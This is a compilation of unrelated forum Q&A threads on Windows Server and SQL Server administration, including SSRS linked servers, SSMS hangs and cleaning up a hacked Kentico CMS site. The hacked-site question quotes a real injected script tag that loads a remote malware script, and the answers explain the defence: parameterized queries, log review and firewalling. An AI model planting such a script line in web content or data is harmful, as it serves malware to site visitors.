Is there a record on a Windows Server 2008 (r2) machine where i can find out when the machine has joined it's domain?
Somewhere in the registry? Or a COM object?
Windows logs the event in event log but the event log gets overwritten quickly. you can watch event logs using your own service constantly but that may be slow and ineffective. You can also turn on AD diagnosis logging on the machine and parse netsetup.log.
There's a whenCreated property in the computer record in AD but that could be wrong if a) the computer record is created in the domain before joining, b) the computer left the domain then rejoined or c) if the data is replicated from another DC. If you have none of these practices, you can use whenCreated as a substitute of the join date.
Related
For many years we've had a reporting database that we have written our SSRS reports out of, which includes some linked servers. The linked servers are set up on the SQL instance where reporting services lives, as well as the main databases we use to report out of. We've decide to split off reporting service from the main server, and give it its own house.
I've setup SQL 2014 along with reporting services, and published my reports over there instead. All of the 'non-linked' reports work fine. However all the reports that reference a linked server (that used to work on the main server) now fail with the following error in the log file:
Access to the remote server is denied because the current security context is not trusted.
I thought maybe I needed to set up the linked servers on the new RS SQL server to get this to work. I had assumed that it would pass the entire query (including the linked part) over to the data source specified and my primary server would run it and return the data. Nevertheless, I set up the exact same linked servers on the new reporting services box... but still receive the same error.
All these reports worked just fine on the original server, however they all seem to be having issues on the new server no matter what linked server they are connecting to.
I am at a loss, and would love any ideas you guys may have.
Server A:
Main Data Source. This server contains the majority of our data and also housed our Reporting Services. This server has links to several other SQL servers that I was able to openquery to, and join the data to our main data source. We have many published reports that utilize the linked servers and have historically provided no issues.
Server B:
New SSRS box. This new server was set up in an attempt to off-load all of our reporting needs to another box thereby freeing up any resources required to run reports and SSIS packages. I took all of our existing reports and published them to the new server as-is. Initially I didn't think I would need to recreate the linked servers on this box, since those requests would be going to my main data source (Server A). I've tried both with, and without the linked servers existing on Server B, but get the same results. When the linked servers DID exist on Server B, I was able to query them directly with no errors. The services on Server B are running under the same credentials as those on Server A.
Well, I did some more digging and found my resolution. So the data sources have always been using the end users credentials to run the reports. On the old server, the linked servers use a hard coded SQL account to make the connection. This works fine so long as it is all on one server. However, when running from a secondary server it appears that this scenario will not work. Instead, I found that if I make the data source use the 'same' hard coded SQL account and the linked server to make the connection to Server A, the linked servers work fine.
I am trying to find the best procedure to get data from our SQL server at headquarters to update apps running on local machines in various locations not connected to our network. Our current data and application is in Foxpro where you simply copied the data file, so I am not very familiar with using SQL databases.
The field app uses localdb and users don't save anything to the database. When the app opens it checks a web site to for updates. I tried detaching our HQ .mdf and .ldf, downloading it and overwriting it on the local machine, but localdb would not attach to the new file (same name). I thought localdb closes and detaches when the application closes , but maybe I am wrong. I also wonder if I need the log file since no changes are made and I dont need to rollback anything. I have searched for a good article on this topic but haven't found anything. This must be a fairly common scenario in many companies.
You want to look into using replication, probably snapshot replication. This allows you to distribute on whatever schedule is applicable to send one or more tables, or other objects, to off site sql server instances. You can use Http to send data.
When I click on the "Databases" node in "Object Explorer" it just keeps on "Loading items" until at some point it just hangs.
This happens only when connecting to a remote server, not when accessing a database on my PC.
It also doesn't happen with any other node.
The guys at the web-hosting company didn't have any trouble with it. (But they're running 2008, and so is the SQL server there)
I reinstalled the whole SQL server etc. but to no avail.
What might be the problem?
I experienced this same problem: when accessing a remote server with the Object Explorer, SSMS would hang indefinitely. The Windows System Event Log would show DCOM error 10009 ("DCOM was unable to communicate with the computer MACHINE_NAME using any of the configured protocols.").
The solution was to clear the MRU history and other settings from my profile. To do that:
Close any open instances of SSMS 2012
In Explorer, open "%AppData%\Microsoft\SQL Server Management Studio"
Rename the "11.0" folder to something else, like "11.0.old"
Open SSMS 2012
You'll see that your MRU list has been cleared. You should then be able to re-enter your credentials and use SSMS as normal.
If everything works, you can delete the renamed folder. Otherwise, delete the new "11.0" folder that was created and rename the original one back to "11.0".
I have no idea whether it's actually the MRU list that's causing this problem or if it's some other profile data.
We were able to discover that SSMS is trying to make a DCOM connection over port 135 to the SQL Server (perhaps for SSIS, T-SQL Debugging, or something else). Our firewall was configured to block port 135. By opening the port in the firewall we were able to use SSMS (hence the reason it worked against local databases but not remote ones). Unfortunately, an open port 135 is an invitation for a lot of attacks, so that wasn't a practical solution for us.
Turn Auto-Close off on all the databases. Worked like a charm to me!
Every time you expand or refresh the database list, server has to awake the databases causing the hang.
Just run this to find all the databases that have auto-close on
SELECT name, is_auto_close_on
FROM master.sys.databases AS dtb
WHERE is_auto_close_on = 1
ORDER BY name
Credits to http://social.msdn.microsoft.com/Forums/sqlserver/en-US/99bbcb47-d4b5-4ec0-9e91-b1a23a655844/ssms-2012-extremely-slow-expanding-databases?forum=sqltools
To turn-off this setting for a database - Right click on database instance in object explorer -> Click properties -> Click "Options" in left navigation pane in database properties window -> Change the value of Auto Close property to "False" in right pane as shown in the snapshot below:
Assuming you have access to only one database at the hosting company (which is almost always the case, at least with a certain username/password), you can avoid the need to use the dropdown at all by setting your registered server to default to the database you're supposed to access:
(It may take longer here, too, but this will be one-time. You can also type it instead of waiting for the list to populate.)
This way, even if the login the host created for you routes you to tempdb or something by default, Management Studio will still put you in the context of your database.
I see now that you are talking about the Object Explorer node, not the "Use database" dropdown that I somehow interpreted incorrectly. An exercise to try might be to highlight the databases node (don't expand it) and click on F7 (Object Explorer Details). If this loads for you then it can be an alternative to navigate through the hierarchy and, as a bonus, you can show lots of entity attributes here and also multi-select, two things you have no control over in Object Explorer.
If that doesn't help, then your host should be helping you better than they appear to be. If SSMS 2012 is supported then they should be able to test this in SSMS 2012 and confirm or deny that they can reproduce it. If it is not supported then I think your recourse is to install SSMS 2008 as well (they can co-exist) and use it for managing this specific server.
Of course, just about anything that you can do in Object Explorer (and plenty of things you can't), you can do by using the catalog views and/or DMVs. So before you determine what to do, you may want to review (or share with us) exactly what you are using Object Explorer for - if there is a way to do it without Object Explorer, you might like the workaround better than having two versions of the tool (since the improvements in 2012 SSMS have absolutely nothing to do with Object Explorer).
In my case deleting the profile folder worked exactly once. The next time I opened SSMS 2012 it would freeze again when connecting to a server. SP1 didn't fix this either.
That was until I found the following simple workaround described on a ticket by Ben Amada over at connect.microsoft.com: Always close the Object Explorer Details before closing SSMS 2012.
So the complete workaround for me is this:
Follow Jaecen's answer, but close SSMS 2012 again after it created a clean profile folder
Apply Hoodlum's recommendation and copy SqlStudio.bin from the old profile folder to the new one (the old profile folder can be deleted afterwards)
Everytime before closing SSMS 2012 make sure the Object Explorer Details window is closed
The first two steps are required only once, or if the Object Explorer Details window was left open accidentally.
Edit
I just noticed that closing the Object Explorer Details window is also required when (re-)connecting to an SQL server in the same SSMS session. So basically whenever connecting to a server the Object Explorer Details windows has to be closed.
I spent over a month with Microsoft SQL Support troubleshooting this. It has been submitted as a bug.
I have both SQL 2012 SSMS and VS 2012 installed on Win 7 (64).
Deleting the profile folder never worked for any reasonable length of time.
The workaround we found was to ensure that my SSMS profile defaulted to the Master database when connecting. It appeared to have something to do with the fact that I'm connecting with Windows Authentication and I belong to more than one AD group that have SQL permissions assigned AND I don't have SQL specific permissions set up on my AD account.
I am connecting to several remote servers rangig from 2000 to 2012.
SMSS on local PC is SQL Server 2012,SMSS is 11.0.2100.60
SSMS freezes several times a day.When this occurs, I go via RDP to the
local server / SMSS / Activity Monitor and kill the processes from my PC with Database Name = master, one at a time, until SMSS on my PC unfreezes.
This always works, however, a cure for the disease raher than the symptoms would be highly welcome.
Have some SQL Servers from 2000 to 2012,
access then through SMSS from my desktop.
Problem occurs with varying frequency, looks like this: when I collapse a server in object explorer, SMSS freezes.
looking in activity monitor on the server in question, i find a process in master db with host = my desktop executing the following query
SELECT dtb.name AS [Name] FROM master.dbo.sysdatabases AS dtb ORDER BY [Name] ASC SMSS
killing the process frees SMSS.
Here is what worked for me
Open SSMS
click on connect to object explorer button
in the connect to server dialog box expand options >>
click reset all
Done!
I've test approximately all above answers but my SSMS got stuck in expanding the database list. I found the problem finally. The problem was because of a database that I restored it but It did restore correctly at the end. Then When I expanded the database list it was sticking.
I run a the query
SELECT
dtb.name AS [Name]
,dtb.database_id AS [ID]
,CAST(has_dbaccess(dtb.name) AS bit) AS [IsAccessible] FROM master.sys.databases AS dtb
Then the result took too long and at the end timed out but When I filter the stuck database I got result.
SELECT
dtb.name AS [Name]
,dtb.database_id AS [ID]
,CAST(has_dbaccess(dtb.name) AS bit) AS [IsAccessible] FROM
master.sys.databases AS dtb
Where name <> 'StuckDB' ORDER BY [Name] ASC
At the end I decided to detach StuckDB to solve my problem.
I have now applied SQL 2012 Service Pack 1 (through Windows Update) and it seems to work fine now, though it does take a very long time to load.
"Open SSMS click on connect to object explorer button in the connect to server dialog box expand options >> click reset all" - it works
I solved this problem by changing my default database back to master.
Go to database properties at SSMS and change compatibility to 2012. Then check.
My site is created in Kentico CMS 5.5 and SQL server 2008. Its running successfully but now these days any one of hacker hack my site and after a long time i found that in many of tables hacker add
></title><script src="http://lilupophilupop.com/sl.php"></script><!--
line in before of ever varchar cell. Suppose i have user table in that case before username it adds this string, before user's email-ID it adds this same string. How i can prevent my sql server by using this hacking. And what is the reason behind this?
How i can prevent my sql server by using this hacking.
First, you need to find out how the hacker got the data into your database (SQL injection, weak account password, ...). Then you can take appropriate actions.
And what is the reason behind this?
The hacker hopes that the varchar field is printed on a web page without being properly encoded first. If that happens, the user's browser will download and execute the script.
This looks like it could be an 'SQL Injection' attack probably aimed at sending your visitors to a malware of fraudlent site.
Unfortunatly as Kentico CMS is commercial software your options are limited. You won't have the source that you can tweak to prevent further attacks commint through the front end.
You may need to
Review the security of your SQL server and ensure that the attacker didn't connect to it directly
Update to the latest security patch for the CMS (if you pay for maintenance it's free)
Get support from Kentico, they may have seen this before
Clean up your data and remove the offending scripts
If none of that is sucessful you may be able to add triggers to the necessary tables in SQL to remove the scripts as they are inserted in the database.
You need to follow the industry best practices : look at
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
For the top 10 Web application security risks.
There are few things to keep in mind that save your database from hacking is given below:
Always use parametrized Sql, pass all values to DB using parametrized query
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = #ID");
Not
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + "");
Similarly, use INSERT, UPDATE, and DELETE query, or use STORED PROCEDURE in same manner.
Only set permission to your specific user
You can on/off ValidateRequest in your page/web.config file as required.
Set Validation both in client/server side so that only valid data will pass to DB
User appropriate data type in your column other than using a common data type (say VARCHAR)
Thanks
I agree with #Heinzi - you should make an effort to figure out the attack vector (how the baddie got into your application). You've found text in your database, but how did it get there? Directly via Sql Server or through the web server OR through Kentico? As you go through this investigative process, make notes of where your security is weak, and firm it up as you go - you're essentially doing a security audit! Doing these steps will lead you to harden your servers against most sort of attacks, hopefully preventing this sort of thing from happening to you again.
I don't know anything about your topology (how your servers are set up and connected to each other and the web), but we can make a start at investigating by looking into the windows log of the machine your sql server is installed on - look for logins happening at times that are questionable, look for odd user accounts, and examine your password and username security. Get more details of things to look into here:Windows Intruder Detection Checklist
If that doesn't turn up anything, look at the Sql server logs, and review your username/password security AND the access to the sql server instance; eg: the sql server should only be accessible from machines that have an explicit reason - your web server, maybe a network admin box, etc - use Windows Firewall to make the access 'tight', so that the sql server instance doesn't just respond to any computer asking. - Here's more details about how to secure sql server.
Check the web.config on your webserver - is the sql server username and password there? Check your ftp logs to see if anyone's tried to read it recently.
Kentico versions 5+ (and maybe earlier) come with the ability to log 'events'. If you have event logging turned on, you should be able to see your templates being modified; go to Site Manager > Administration > Event Log and go back to the date when you first noticed it, and examine the entries for what user account was doing the modifications.
Or even better: if you have access to the db server, you can do a direct table query to get at this data:
SELECT TOP 1000 *
FROM [CMS_EventLog] Look again for entries that seem to happen at odd times from weird Ip addresses or usernames.
And again, it's better to restrict access to all 'sensitive' resources (the Database, Kentico cmsdesk and siteadmin) as best you can. Windows Firewall is pretty great at doing this - tighten down Remote Desktop access, and close as many ports as you can to reduce your servers' exposed surface area. Test your exposure using something as simple as Shields Up! from Gibson Research or the Awesome Nmap security scanner tool.
As an example, my web servers only publicly expose ports 80 and 443 (http and https), and maybe a random high port like 4456 for Ftp if it's needed. I use Windows Firewall to restrict access to Remote Desktop to a handful of IP addresses. The Sql servers have NO public ports, they are tuned to 'stealth' and not reply to any request from a non-authorized IP.
As an anecdotal example - when I put a server live, it has taken as little as 8 hours before bots start trying to log in via remote desktop (you can see thousands of failed attempts in the windows Event Log > security) - as soon as you use windows firewall to ignore non-approved IP addresses, the log stays clear.
As a helpful note: if you are not experienced doing this sort of thing, you may want to procure the services of an experienced Windows system administrator to help you. And please realize that there may be more compromised systems - you may have just found the 'tip of the iceberg', there could be Trojans and Rootkits and other nasties waiting, so you'll need a full security scan too.
Please forgive me if this post is in the wrong place, but as your all the cleverest bunch of guys I know, advice would be appreciated.
Another user in my company wrote [and on another pc], installed the new application [written in vb.net I think - but maybe c#].
He left the company a month a go, and I have now started to get problems [or rather notice them for the first time] - the files were being logged to SQL Server on the network. Now I notice that a month ago the Network SQL Server 2008 has not been logging the data, but in fact it has been accumulating under SQL 2005 on the local machine that the software is installed on, and the temp file is over 100mb big...
I suspect that the IT department froze his account when he left, and this disrupted the SQL access and program network permissions. The Event Viewer seems to support this theory by logging red critical errors that basically say [unable to connect to SQL server etc etc].
The program runs now as a guest [It always ran as a guest]. So I cant see how freezing or deleting his account would affect things.
Do you know how I can fix this without re-installing everything?
Thanks in advance.
Jim.
here's a couple of things to check for starters:
what accounts the SQL services on the machine are running under e.g. http://sql-articles.com/articles/general/sql-server-service-accounts
which account is the application logging in as